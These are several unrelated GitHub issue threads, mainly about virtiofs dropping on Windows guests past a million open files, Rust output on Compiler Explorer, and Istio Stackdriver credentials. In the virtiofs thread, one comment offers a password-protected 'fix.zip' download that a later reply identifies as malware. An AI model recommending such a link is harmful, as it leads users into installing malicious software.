Mount disconnects after reading 1 million files

Describe the bug
I have a linux host with an ext4 file system and a Windows 10 guest running in qemu through virt-manager. I was trying to back up the drive with backblaze but the drive kept disconnecting while scanning the file system. After running numerous tests I found out that the file system always disconnects after reading directories with a combined count of over 1 million files. By disconnect, I mean that the drive shows as empty and sometimes says "cannot access" in Windows.
To Reproduce
As an example, lets say I have the following directories, each with 300k files in their subdirectories:
F1/1
F1/2
F1/3
F1/4
F2
F3
If I run: dir /s /b F1
It drops while scanning through F1/4 (So I reboot the VM and try the next test)
If I run: dir /s /b F2; dir /s /b F1
It drops while scanning through F1/3.
If I run: dir /s /b F2; dir /s /b F3; dir /s /b F1
It drops while scanning through F1/2.
Expected behavior
Drive should not drop/disconnect.
Host:

Disto: Linux Mint 22
Kernel version: 6.8.0-40-generic 40-Ubuntu SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
QEMU version: 8.2.2 (Debian 1:8.2.2+ds-0ubuntu1)
QEMU command line: I've removed a lot of the extraneous stuff added by virt-manager and tried to group the commands. The relevant device is tagged "PP4-f".

VM:

Windows version: Windows 10 Home 22H2 build 19045.4780
Which driver has a problem: virtiofs
Driver version or commit hash that was used to build the driver: ?

Additional context
In libvirtd.conf I added the following 2 lines:
log_filters="1:qemu 1:libvirt 4:object 4:json 4:event 1:util 1:virtiofs"
log_outputs="1:file:/var/log/libvirt/file.log"
With these I still did not see anything relevant in:

/var/log/libvirt/file.log
/var/log/libvirt/qemu/win10_backup.log
/var/log/libvirt/qemu/win10_backup-fs3-virtiofsd.log

I also looked at the WinFsp logs in the Windows Event Viewer and saw nothing relevant there. Not sure where else to try and look.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

That did not help, and virustotal also says the exe file is most likely a virus. Cute hiding it in a password protected zip with a new compression method that is not widely supported.

@xiagao Please check

I didn't reproduce this issue on my env.
Host:
virtiofsd-1.11.1-1.el9.x86_64
qemu-kvm-9.0.0-3.el9.x86_64
edk2-ovmf-20240524-2.el9.noarch
seabios-bin-1.16.3-2.el9.noarch
kernel-5.14.0-494.el9.x86_64
Guest:
Win10-64bit, build 19041
virtio-win-prewhql-0.1-253
winfsp-2.0.23075.msi
Steps:

prepare a shared dir on top of ext4 on host

dd if=/dev/zero of=./ext4_image.img bs=1M count=102400
mkfs.ext4 ext4_image.img
mount -o loop ext4_image.img /root/avocado/data/avocado-vt/virtio_fs_test/

start virtiofsd daemon with the shared dir.
/usr/libexec/virtiofsd --socket-path=/var/tmp/avocado-vt-vm1-fs-virtiofsd.sock -o source=/root/avocado/data/avocado-vt/virtio_fs_test/ -o cache=auto

start win10 64bit VM with qemu-kvm

-m 16384,maxmem=20G
-object '{"size":<PHONE_NUMBER>4, "share": true, "id": "mem-mem1", "qom-type": "memory-backend-memfd", "x-use-canonical-path-for-ramblock-id":false}'
-smp 24,maxcpus=24,cores=12,threads=1,dies=1,sockets=2
-numa node,memdev=mem-mem1,nodeid=0
...
-chardev socket,id=char_virtiofs_fs,path=/var/tmp/avocado-vt-vm1-fs-virtiofsd.sock
-device '{"id": "pcie-root-port-6", "port": 6, "driver": "pcie-root-port", "addr": "0x1.0x6", "bus": "pcie.0", "chassis": 7}'
-device '{"id": "vufs_virtiofs_fs", "chardev": "char_virtiofs_fs", "tag": "myfs", "queue-size": 1024, "driver": "vhost-user-fs-pci", "bus": "pcie-root-port-6", "addr": "0x0"}'
-device '{"driver": "virtio-balloon-pci", "id": "balloon0", "bus": "pcie-root-port-10", "addr": "0x0"}' \

4. create folders on shared dir

for i in {1..3}; do mkdir F$i; done
cd F1 ; for i in {1..4}; do mkdir A$i; done
tree
.
├── F1
│   ├── A1
│   ├── A2
│   ├── A3
│   └── A4
├── F2
└── F3
5. create 300k files in their subdirectories.

for j in F2 F3; do for i in {1..307200}; do dd if=/dev/urandom of=./$j/file-$j-$i.txt bs=1k count=1; done; done
for j in A1 A2 A3 A4; do for i in {1..307200}; do dd if=/dev/urandom of=./F1/$j/file-$j-$i.txt bs=128 count=1; done; done
6. inside VM, start virtiofs service and get the shared volum
7. run `dir /s /b F2; dir /s /b F1 `and etc, everything works, no disconnect, no drop.

But after reading the millions of files, the virtiofsd quit. It indeed has some problem.
Reading shared dir worked.

After reading shared dir, the virtiofs stopped working.

I'm glad it's not just me. Thanks. Is there a different project I should be reporting this too? I thought it was most likely yours but I wasn't sure.

I'm glad it's not just me. Thanks. Is there a different project I should be reporting this too? I thought it was most likely yours but I wasn't sure.

Thanks reporting.
Do you mean virtiofsd gitlab repo?  I think currently keeping one is ok.
Besides, this issue was also tracked internally. Will update you here if there is any update.

I'm glad it's not just me. Thanks. Is there a different project I should be reporting this too? I thought it was most likely yours but I wasn't sure.

Thanks reporting. Do you mean virtiofsd gitlab repo? I think currently keeping one is ok. Besides, this issue was also tracked internally. Will update you here if there is any update.

Cool, thanks.

I just started hitting this bug.
Interestingly I was not encountering it when I was on Ubuntu 22.04.4 if I used the virtio-win-guest-tools 0.1.225-2 But any version newer and I would hit the bug (or a similar one), so I just stayed on that version. Qemu came bundled with virtiofsd so I am unsure which version it was using.
Old install that worked:
Host Ubuntu 22.04.4
libvirt 8.0.0
qemu 6.2
After upgrading to Ubuntu 24.04.1 earlier this week I had to install virtiofsd separately as Qemu no longer bundled it and I started hitting this bug. I have tried every virtio-win-guest-tools between 0.1.225-2 and 0.1.262-2 (latest as of posting). I have also tried manually upgrading virtiofsd from 1.10.0 (from Ubuntu repo) to 1.11.1 (latest as of posting). I still hit the bug. virtiofsd is not crashing, it is the windows client as it is fixed by restarting the windows service.
I set a powershell script to check the mount every minute and restart the service. I noticed every ~2 hours it would crash as my backup software was scanning the share, likely hitting the 1 million file mark as I have ~1.1 million files on that drive.
Tech details
Host Ubuntu 24.04.1
libvirt 10.0.0-2
qemu 8.2.2
virtiofsd 1.11.1
Guest
Windows 11 pro 23H2 (22631.4037)
virtio-win-guest-tools 0.1.262-2
libvirt XML file attached with a few entries redacted.
win11.txt

I am wondering if anyone experiences this bug with Linux guests as well

@YanVugenfirer I just fired up an Ubuntu 22.04 VM to test that. Works perfectly fine. I used an identical virtiofs config to my windows VM (copied the XML), same host. I can run the find command over and over again with zero issues.
root@admin-test:/Storage# find .|wc -l
1006990
root@admin-test:/Storage# find .|wc -l
1006990

@LRomandine Can you please try running virtiofsd with --log-level debug ?
And a separate run with --log-level debug and --inode-file-handles=mandatory while running virtiofsd as root

One clarification
KVM + libvirt + QEMU seems to launch virtiofsd as root normally. This ps -ef|grep virtiofsd is when running the VM I attached the XML for above. I am conducting these tests with virtiofsd version 1.11.1
root        6726       1  0 12:46 ?        00:00:00 /usr/lib/qemu/virtiofsd --fd=31 -o source=/Storage,cache=none
root        6742    6726  0 12:46 ?        00:00:00 /usr/lib/qemu/virtiofsd --fd=31 -o source=/Storage,cache=none

First Test
I ran the following command as the same user my VMs run as libvirt-qemu and log file is attached.
Note: This took me like 2 hours to figure out AppArmor was blocking the VM from reading the socket so for anyone else attempting this and getting permission denied errors, adjust AppArmor.
/usr/libexec/virtiofsd --log-level debug --shared-dir /Storage/virtiofs-test --socket-path /run/virtiofsd/virtiofsd.sock --sandbox none > /tmp/virtiofsd.log 2>&1

I adjsuted my QEMU XML to the following
<filesystem type="mount">
  <driver type="virtiofs" queue="1024"/>
  <source socket="/run/virtiofsd/virtiofsd.sock"/>
  <target dir="Storage"/>
  <alias name="fs0"/>
  <address type="pci" domain="0x0000" bus="0x05" slot="0x00" function="0x0"/>
</filesystem>

This test crashed as expected. log file
Second Test
I ran the following command as root and log file is attached
/usr/libexec/virtiofsd --log-level debug --shared-dir /Storage/virtiofs-test --socket-path /run/virtiofsd/virtiofsd.sock --socket-group kvm --inode-file-handles=mandatory > /tmp/virtiofsd.log 2>&1

This test did not crash after reading the 1.2mil files, so I had it read another 1.2. Zero issues. log file
Third Test
Since QEMU XML does not have a way to pass arbitrary flags to virtiofsd (only specific supported ones) I created a small shell script /usr/local/bin/virtiofsd.custom
#!/bin/bash
/usr/libexec/virtiofsd --inode-file-handles=mandatory "${@}"

Then set my QEMU XML to use the script (only changed the binary path, same VM as the XML I attached above)
<filesystem type="mount" accessmode="passthrough">
  <driver type="virtiofs" queue="1024"/>
  <binary path="/usr/local/bin/virtiofsd.custom">
    <cache mode="none"/>
  </binary>
  <source dir="/Storage"/>
  <target dir="Storage"/>
  <alias name="fs0"/>
  <address type="pci" domain="0x0000" bus="0x05" slot="0x00" function="0x0"/>
</filesystem>

This has the intended effect of starting virtiofsd with the --inode-file-handles=mandatory parameter directly from qemu
root      539192  539191  0 15:40 ?        00:00:00 /usr/libexec/virtiofsd --inode-file-handles=mandatory --fd=37 -o source=/Storage,cache=none
root      539194  539192  0 15:40 ?        00:00:00 /usr/libexec/virtiofsd --inode-file-handles=mandatory --fd=37 -o source=/Storage,cache=none

This test also did not crash after reading 1.2mil files, so I ran it again and it stayed up, just like test 2.
I have switched my VM from using a different software (Dokany) to using virtiofs again. I'm going to let it run and see if virtiofs crashes at all.

https://issues.redhat.com/browse/RHEL-56957 - Additional discussions

From what can be deduced from the log, you are hitting the limit of open files in linux, if running as root is not a problem the best solution is to use --inode-file-handles=mandatory (you can also use --rlimit-nofile=N with N > 1000000 since by default virtiofsd increases the limit up to 1M, but using file handles is better).
If running as root it's not possible:
1- run it with --cache=none' (plus --allow-mmapif the guest wants tommapa file in the shared dir), this could impact the performance 2- or, increase the open files hard limit in the host and run virtiofsd with--rlimit-nofile=`
I'm not familiar with windows, but if you can configure the file metadata cache to be smaller (I have no idea if that is possible), the guest will release entries before reaching the limit

Perhaps as a "fix" the documentation for the windows guest drivers can be updated with the 1 million files caveat and include instructions for how to add --inode-file-handles=mandatory. Since this is a Windows specific bug because of how long it keeps files open.
I think it would be best to get the parameter included in the XML definition and then update the libvirt and guest drivers documentation.

Thanks so much for debugging this!
I wanted to confirm what you said. "--inode-file-handles=mandatory" cannot be used if the virtiofsd process is running as root, correct?
When I tried your suggestion using the virtiofsd.custom (and I did chmod +x on it), in my *-fs*-virtiofsd.log file I get the error libvirt:  error : cannot execute binary /usr/local/bin/virtiofsd.custom: Permission denied. I did confirm I could run /usr/local/bin/virtiofsd.custom in bash as root.

@dakusan
I think you have it backwards, --inode-file-handles=mandatory can only be ran as root.
I am betting your permission denied is due to AppArmor, I had a heck of a time figuring it out when I was running test 2 above.

To /etc/apparmor.d/usr.sbin.libvirtd I added /usr/local/bin/virtiofsd.custom PUx, after /usr/{lib,lib64,lib/qemu,libexec}/virtiofsd PUx, and then reloaded apparmor, and that worked. Would have liked to add it to /etc/apparmor.d/libvirtd but it wasn't working.

Can confirm adding the line to /etc/apparmor.d/usr.sbin.libvirtd works for me and I see the virtiofsd process has the correct options. I'm glad I wasn't the only one struggling with modifying the other files like
/etc/apparmor.d/libvirt/*
/etc/apparmor.d/abstractions/libvirt-qemu

It's working perfectly now with 1M+ files, thanks so much! Should I maybe report to the virsh/virtual manager people a suggestion to add this as an option?

It's working perfectly now with 1M+ files, thanks so much! Should I maybe report to the virsh/virtual manager people a suggestion to add this as an option?

They are aware that there are many virtiofsd options that libvirtd does not support, IIRC they have plan to add a general xml field (like extra options or something like that) so any command can be added, IMO that is the best approach


Recreating DbContext for better performance

Hello,
thank you very much for the DbContextScope!. I was looking for something like this to properly handling my DbContexts.
The only thing I'm missing at the moment is the ability to recreate a particular DbContext, because when I'm making a lot of inserts, the change tracker has to keep track of a lot of entities and I get better performance recreating the context.
So, I have added this functionality in the DbContextCollection class (and in the IDbContextCollection interface):
   public TDbContext GetNew<TDbContext>() where TDbContext : DbContext
    {
        var requestedType = typeof(TDbContext);

        // if the this context type wasn't created, create it using the Get method
        if (!_initializedDbContexts.ContainsKey(requestedType)) {
            return Get<TDbContext>();
        } else {
            // otherwise, we have to dispose and recreate this context type
            var dbContext = _initializedDbContexts[requestedType] as TDbContext;
            try {
                dbContext.Dispose();
            } catch (Exception e) {
                System.Diagnostics.Debug.WriteLine(e);
            }
            _initializedDbContexts.Remove(requestedType);

            return Get<TDbContext>();
        }
    }

I hope you find it useful and include it in your code.

Thanks for the suggestion and sample code!
Would you be able to give a little bit more details of the situation in which this would be required? If I knew more about the context, I might be able to suggest alternatives to manually re-creating the DbContext.

I'm importing a feed with 800000 products, generating a lot of updates and some inserts. Even I use AutoDetectChangesEnabled wisely to avoid calling DetectChanges several times, the memory consumption is too high (and double because I'm using a snapshot to detect changes), so I decided to split the task in several batches.

I also need something like this behavior.  I'm updating ~500K records and I need to break it down into batches.  Currently, if I call SaveChanges periodically (e.g., every 1000 records) I get the "cannot call SaveChanges more than once" error.  Currently, what is the best way to handle this?  Use ForceCreateNew?  Thanks.


aduit scripts still looking for svn

Describe the bug
Identified in:  https://github.com/visit-dav/visit/pull/17248
Some of our older helper scripts call out to svn.
src/test/rebaseline-p.py
src/tools/dev/doxygenate/doxygenate.py
Qs:

Are we still using these scripts?
If so, should we update them to do the git equiv commands?

Let's remove rebaseline-p.py and update doxygenate.py.


After update to sdk 2.5.0-dev.2.0 "Could not resolve "@sealed""

After updating to dart-sdk 2.5.0-dev.2.0 and updating angular alpha to +1
dependencies:
  angular: ^6.0.0-alpha+1
  angular_components: ^0.14.0-alpha+1

dev_dependencies:
  angular_test: ^2.4.0
  build_runner: ^1.6.5
  build_test: ^0.10.8
  build_web_compilers: ^2.1.5
  test: ^1.6.5
  stream_channel: ^2.0.0

Some errors in angular:
"D:\dart-sdk\dart-sdk 2.5.0-dev.2.0\bin\pub.bat" global run webdev serve web:53322
[WARNING] Throwing away cached asset graph because the build phases have changed. This most commonly would happen as a result of adding a new dependency or updating your dependencies.
[INFO] Cleaning up outputs from previous builds. completed, took 1.2s
[INFO] Building new asset graph completed, took 2.3s
[INFO] Checking for unexpected pre-existing outputs. completed, took 1ms
[INFO] Serving `web` on http://<IP_ADDRESS>:53322
[SEVERE]angular:angular on package:angular/src/core/linker/views/host_view.dart: line 255, column 7 of package:angular/src/core/linker/views/host_view.dart: Could not resolve "@sealed"
class _HostViewData implements DynamicViewData {
      ^^^^^^^^^^^^^
Try the following when diagnosing the problem:
  * Check your IDE or with the dartanalyzer for errors or warnings
  * Check your "import" statements for missing or incorrect URLs

If you are still stuck, file an issue and include this error message:
https://github.com/dart-lang/angular/issues/new

[SEVERE]angular:angular on package:angular/src/core/linker/views/embedded_view.dart: line 225, column 7 of package:angular/src/core/linker/views/embedded_view.dart: Could not resolve "@sealed"
class _EmbeddedViewData<T> implements DynamicViewData, RenderViewData {
      ^^^^^^^^^^^^^^^^^
Try the following when diagnosing the problem:
  * Check your IDE or with the dartanalyzer for errors or warnings
  * Check your "import" statements for missing or incorrect URLs

If you are still stuck, file an issue and include this error message:
https://github.com/dart-lang/angular/issues/new

This (?) results in dozen of Parser Errors: "UNSUPPORTED: Map literals are no longer supported in the template." (according to the documentation this should be supported):
[SEVERE]angular:angular on lib/src/vcm_customers/vcm_customers.dart: Template parse errors:
line 3, column 26 of package:vcm_main/src/vcm_customers/vcm_customers.html: ParseErrorLevel.FATAL: Parser Error: UNSUPPORTED: Map literals are no longer supported in the template.
Move code that constructs or maintains Map instances inside of your @Component-annotated Dart class, or prefer syntax such as [class.active]="isActive" over [ngClass]="{'active': isActive}".  [{'display': isProjectSelector ? 'none' : 'flex'}] in null
    <vcm-customer-select [ngStyle]="{'display': isProjectSelector ? 'none' : 'flex'}"
                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
line 18, column 23 of package:vcm_main/src/vcm_customers/vcm_customers.html: ParseErrorLevel.FATAL: Parser Error: UNSUPPORTED: Map literals are no longer supported in the template.
Move code that constructs or maintains Map instances inside of your @Component-annotated Dart class, or prefer syntax such as [class.active]="isActive" over [ngClass]="{'active': isActive}".  [{'display': isProjectSelector ? 'flex' : 'none'}] in null
    <blueberry-select [ngStyle]="{'display': isProjectSelector ? 'flex' : 'none'}"
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[SEVERE]angular:angular on lib/src/vcm_icons_view_template/vcm_icons_view_template.dart: Template parse errors:
line 1, column 16 of package:vcm_main/src/vcm_icons_view_template/vcm_icons_view_template.html: ParseErrorLevel.FATAL: Parser Error: UNSUPPORTED: Map literals are no longer supported in the template.
Move code that constructs or maintains Map instances inside of your @Component-annotated Dart class, or prefer syntax such as [class.active]="isActive" over [ngClass]="{'active': isActive}".  [{'color': hasDesktop ? '#4caf50' : '#f44336'}] in null
<material-icon [ngStyle]="{'color': hasDesktop ? '#4caf50' : '#f44336'}"
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

...

Could you run pub upgrade then pub deps and share the output here? I'm curious which version of package:meta is being resolved (which contains @sealed).
As for the parse errors, these are intended.

After pub upgrade (meta 1.1.7) and replacing the map literals it is building now with no error.
It is still not running under 2.5.0-dev.2.0, because of an
Uncaught TypeError: self.$dartRunMain.call$0 is not a function
Error, but that seems to be an sdk error, not an angular one.
Its still running fine under 2.5.0-dev.0.0 with all the changes.
Sorry for the false alarm.


Rust compiled with optimizations shows empty assembly

Rustc 1.9.0 seems to be the last version that works with -O. All newer version show an empty assembly if the (default) "Directives" filter is enabled.

Thanks for the report: any clues on why this might be would be welcome as I'm a little stumped!

It seems like the filtering is working as intended. When enabling optimizations with Rust > 1.9 I can't see any assembly instructions anymore for some reason.
When looking at https://play.rust-lang.org (using stable, which should be Rust 1.11), there is a .LBB0_1 section with the assembly which is completely missing on rust.godbolt.org. Note that this section name only occurs with optimizations, otherwise the section names are very similar for both websites.
Could it be that the .LBB0_1 section is filtered out completely for some reason, even if all filters are disabled? (There are more .LBB0_* sections that are missing.)

Interesting! Thanks for investigating. There is still some filtering done
on the server: I can only imagine there's something funny going on. I'll
take a look tonight, or if you're brave
https://github.com/mattgodbolt/gcc-explorer/blob/master/lib/asm.js#L38 has
the code.
On Thu, Aug 25, 2016 at 8:43 AM Vinzent Steinberg<EMAIL_ADDRESS>wrote:

It seems like the filtering is working as intended. When enabling
optimizations with Rust > 1.9 I can't see any assembly instructions anymore
for some reason.
When looking at https://play.rust-lang.org (using stable, which should be
Rust 1.11), there is a .LBB0_1 section with the assembly which is
completely missing on rust.godbolt.org. Note that this section name only
occurs with optimizations, otherwise the section names are very similar for
both websites.
Could it be that the .LBB0_1 section is filtered out completely for some
reason, even if all filters are disabled? (There are more .LBB0_*
sections that are missing.)
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/mattgodbolt/gcc-explorer/issues/139#issuecomment-242390983,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAmsdbjOW0QTBVkYlNLN_mImn7nds7-fks5qjZwPgaJpZM4JtBOG
.

Adding a #[no_mangle] attribute to the top-level functions fixes the problem. So it's either a problem with name mangling or Rust doesn't include mangled top-level functions in the output anymore.

Thanks @CryZe for the update here - a handy clue!

I haven't had time to dig into this further yet...hopefully this weekend, unless some kind soul who understands Rust better than me takes pity and has a look.

/cc @rust-lang/compiler

As I wrote on Google+:
It looks good with --crate-type lib -O (or even-more-optimized with --crate-type lib -C opt-level=3). Looks like rustc optimizes out everything unused in static libs.
Link to an example
Also – everything is removed from cdylib, but works OK with dylib. Which makes sense, as Rust-mangled functions wouldn’t be usable from C code.
So maybe it just removes all mangled functions in a static lib when nothing is actually lining to them? Compiler works as it should when creating a dynamic lib. So you could just change the target to dynamic lib, or encourage people to use non-mangled functions (and do so in given examples).

Also creating an executable bin target with an entry point correctly compiles everything, with inlining short functions.
It’s interesting that a public function gets inlined ;-) – but again, that’s probably because it would get mangled anyway, and so be unusable from any other language or with a different compiler version, unmangled one doesn’t get inlined.

What is the best way to fix this issue? Should --crate-type lib be added automatically or at least to the example?

If that's all it takes, then I'm already passing some canned options to the
compiler. I can ensure its type is lib instead. Will take a look at doing
this. Thanks all!
On Thu, Dec 15, 2016 at 6:50 AM, Vinzent Steinberg<EMAIL_ADDRESS>wrote:

What is the best way to fix this issue? Should --crate-type lib be added
automatically or at least to the example?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/mattgodbolt/gcc-explorer/issues/139#issuecomment-267319834,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAmsdbz0jkTD18brqmCPp_9hdrdcYxnmks5rITdrgaJpZM4JtBOG
.

Here you can read about various types of Rust libraries.
Basically:

lib is whatever rust compiler chooses,
staticlib is a typical .a static library for interoperability with C code and FFI,
dylib is a dynamic .dll or .so library (usable from both Rust and FFI),
cdylib (not described there unfortunately) seems to be a dylib for FFI,
rlib is a Rust static library (so like staticlib but exposing all public Rust-mangled symbols.

So I’d choose here --crate-type rlib as a most typical rust output format (which shouldn’t optimize out anything pub).
lib can do basically anything, depending on the platform, so perhaps it isn’t the best options for showing compiler’s behaviour (on the other hand it is the default, and I believe it typically produces rlibs). dylib is the one that you should use if you want to create a dynamic Rust library.
staticlib and cdylib are two target formats for FFI, so the compiler is free to optimize everything that is not #[no_mangle].

cdylib (not described there unfortunately)

it is in nightly, the docs lagged a bit.

Why not just add #[no_mangle] to the default square example?

I'd really like Compiler Explorer to work with "normal" code instead of
specially formatted/annotated code. I agree #[no_mangle] is a workaround,
but most code isn't written that way. If we can find a way to "fix" the
underlying problem that'd be much better.
On Mon, Dec 19, 2016 at 7:35 AM Vitaly Shukela<EMAIL_ADDRESS>wrote:

Why not just add #[no_mangle] to the default square example?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/mattgodbolt/gcc-explorer/issues/139#issuecomment-267965141,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAmsdeb19ifgefvmLReoMZSpchW-voerks5rJogagaJpZM4JtBOG
.

The underlying problem is that by default Compiler Explorer sets the --crate-type staticlib flag, which tells rustc to compile code for C-API FFI static library, which does not have to preserve any non-#[no_mangle] nor non-extern symbols, so they get optimized out.
To fix this you just need to change that default flag to something more Rusty – like --crate-type rlib. Or add #[no_mangle] to code examples.
I don’t see anything complicated to fix here. ;-)

Right: that's my plan. I'm backed up on a whole bunch of refactoring work
in trunk that's holding up changing the site to use that crate type by
default.
On Mon, Dec 19, 2016 at 8:11 AM Benedykt Jaworski<EMAIL_ADDRESS>wrote:

The underlying problem is that by default Compiler Explorer sets the --crate-type
staticlib flag, which tells rustc to compile code for C-API FFI static
library, which does not have to preserve any non-#[no_mangle] nor non-
extern symbols, so they get optimized out.
To fix this you just need to change that default flag to something more
Rusty – like --crate-type rlib. Or add #[no_mangle] to code examples.
I don’t see anything complicated to fix here. ;-)
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/mattgodbolt/gcc-explorer/issues/139#issuecomment-267972855,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAmsdeSrWKOxEo9Z0m9JwAOiQYtJGbZSks5rJpB4gaJpZM4JtBOG
.

Work around appears to be effective. Testing tonight, hoping to do a site release tomorrow.

Thanks everyone: the fix is now live. Please check it out on rust.godbolt.org and let me know if you see any further issues by replying here.

Odd--am I the only one still seeing this issue?

(@ brad) - are you compiling with optimizations and no public functions?
On Sat, Apr 1, 2017 at 11:09 PM Brad Gibson<EMAIL_ADDRESS>wrote:

Odd--am I the only one still seeing this issue?
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/mattgodbolt/compiler-explorer/issues/139#issuecomment-290963456,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAmsdWi9dh4g_KgqcmETYTHNEag4V0JIks5rrx-MgaJpZM4JtBOG
.

@mattgodbolt It turned out I was.  It made sense after I figured it out :)

Great stuff! just making sure I hadn't missed anything!


[torchlib] Implement various upsample functions

[x] aten_upsample_bicubic2d https://github.com/microsoft/onnxscript/pull/1208
[ ] aten__upsample_bicubic2d_aa
[ ] aten__upsample_bilinear2d_aa
[x] aten_upsample_linear1d
[x] aten_upsample_nearest1d
[x] aten_upsample_nearest3d
[ ] aten_upsample_trilinear3d

Reference: https://github.com/microsoft/onnxscript/blob/24d77d96ee343fd6cac4b253a6c8e10c7ac4bd2a/onnxscript/function_libs/torch_lib/ops/nn.py#L2121-L2137

https://github.com/pytorch/pytorch/issues/116706

How are we validating this works e2e for pytorch export?
I think there might be an issue inside pytorch that decompositions are forced for these ops, similar to the einsum situation. https://github.com/pytorch/pytorch/issues/116684

    align_corners: bool = True,  # pylint: disable=unused-argument
Why is align_corners an unused argument?

Regarding Resize.nearest_mode. In torchscript exporter it was set to "floor". In torchlib it is left as default "round_prefer_floor"

We do need to implement them and match the behaviors @xiaowuhu please correct me if I’m missing anything


Status of Project

I found this in my search for a web clipper that I can use, that ideally interacts with the software that I use. Before making effort to install, configure and adjust to this extension, is this project still active? It seems there is no recent activity, and issues are not really addressed.

Indeed, there seems to be an activity gap but @deathau updated quite a number of issues during the recent days (including one issue I was watching).
I use this clipper since months and it works great for most web sites. I can only recommend that you try it for yourself. Installation and setup is quick and easy, and after all, there is no vendor-lock-in! :)


Stackdriver handler apiKey authentication doesn't work

Bug description
When creating stackdriver telemetry (handler, instance and rules) to send metrics, logs and tracespans to stackdriver from non-GCP K8S cluster, using apiKey as authentication method doens't work.
Logs from mixer container:
2019-09-17T03:25:03.614048Z	info	API keys are not supported for gRPC APIs. Remove the WithAPIKey option from your client-creating call.
2019-09-17T03:25:03.614093Z	error	Unable to initialize adapter: snapshot='4', handler='stackdriver.istio-system', adapter='stackdriver', err='adapter instantiation error: google: could not find default credentials. See https://developers.google.com/accounts/docs/application-default-credentials for more information.'.
Please remove the handler or fix the configuration.

Affected product area (please put an X in all that apply)
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[ ] Networking
[ ] Performance and Scalability
[X] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure
Expected behavior
Mixer to send metric, logs and tracespan to stackdriver.
Steps to reproduce the bug
I followed the instruction from this blog post: Istio and Stackdriver. Also tried to use example yaml manifest from @bianpengyuan's example repo: istio-stackdriver with modification to use apiKey to authenticate.
Version (include the output of istioctl version --remote and kubectl version)
istio: 1.3.0
kubernetes: 1.13.10
How was Istio installed?
Helm
Environment where bug was observed (cloud vendor, OS, etc)
AWS EKS
Additionally, please consider attaching a cluster state archive by attaching
the dump file to this issue.

API keys is only supported by very limited number of Google APIs: https://cloud.google.com/docs/authentication/api-keys. You should instead use service account: https://cloud.google.com/docs/authentication/production#obtaining_and_providing_service_account_credentials_manually. You could mount it as a secret to telemetry deployment.

@bianpengyuan I see, thanks for your reply. Then the blog post from google cloud medium is totally misleading. It give s reader the impression it's supported.
Then why istio stackdriver adapter includes apiKey as one of the config parameter if it's not supported? I hope the istio documentation can mention this to users.

Sorry to ask but to mount the service account json key into the telemetry deployment, any idea how we can archive via the helm installation?

Sorry I forget to copy the helm link here: https://github.com/istio/istio/blob/9e11075759f113c79a33801685d3bcf259b5a79f/install/kubernetes/helm/istio/charts/mixer/templates/deployment.yaml#L211.
Which blog are you referring to?

@bianpengyuan Oh, thanks! I am referring to this blog Istio and Stackdriver

I guess API key used to work and should be supported by Stackdriver API. But the gRPC client library we are using stops supporting API keys. But anyway, service account should be used to achieve this.. I will update the doc to reflect that.

Cool!
On Tue, Sep 17, 2019, 12:44 PM Pengyuan Bian<EMAIL_ADDRESS>wrote:

I guess API key used to work and should be supported by Stackdriver API.
But the gRPC client library we are using stops supporting API keys. But
anyway, service account should be used to achieve this.. I will update the
doc to reflect that.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio/issues/17135?email_source=notifications&email_token=AAMUZEOVSPIPFA5OC3AX3SLQKBOBHA5CNFSM4IXKEZD2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD63IQWQ#issuecomment-532056154,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAMUZEJJKHIGN4THMBFQWM3QKBOBHANCNFSM4IXKEZDQ
.

Should we close this issue now?

@douglas-reid yes, after https://github.com/istio/istio/pull/17284 is merged.


EMFILE error on run

This appears to be a problem with metalsmith:
https://github.com/segmentio/metalsmith/issues/65#issuecomment-59640302
Here’s the output:
$ gulp
[16:05:52] Using gulpfile metalsmith-kodeklubben/gulpfile.js
[16:05:52] Starting 'build'...
[16:05:52] Starting 'css'...
[16:05:52] Starting 'js'...
[16:05:52] Starting 'assets'...
[16:05:53] Finished 'js' after 851 ms
[16:05:54] Finished 'css' after 1.53 s
{ [Error: EMFILE, open 'metalsmith-kodeklubben/src/oppgaver/scratch/kurs_viderekommende/hvor_i_all_verden/europakart.png']
  errno: 20,
  code: 'EMFILE',
  path: 'metalsmith-kodeklubben/src/oppgaver/scratch/kurs_viderekommende/hvor_i_all_verden/europakart.png' }
[16:05:54] 'build' errored after 1.55 s
[16:05:54] Error: EMFILE, open 'metalsmith-kodeklubben/src/oppgaver/scratch/kurs_viderekommende/hvor_i_all_verden/europakart.png'
[16:05:54] Finished 'assets' after 1.52 s

Hm, had the same trouble some time back, and then it was an installation problem with pandoc. My pandoc binary was not +x. What is your ls -l node_modules/metalsmith-pandoc/node_modules/pandoc-bin/vendor/pandoc?

If I reduce the number of files (e.g. by just loading Scratch) I don’t hit the error. I think the comment in the issue I linked above is related – that would explain the EMFILE error code.

Ahh! What are your operating system? find src | wc How many files are we talking about? Is increasing allowed open files a viable solution?

What is your operating system?

Mac OS 10.9. launchctl limit maxfiles says the soft limit is 256 open files.

find src | wc

I haven’t modified the src directory – I just tried to build what was there. Building just the scratch directory works fine.

Is increasing allowed open files a viable solution?

Err… It might work (testing now). It would probably be preferable to instead avoid surpassing the limit.
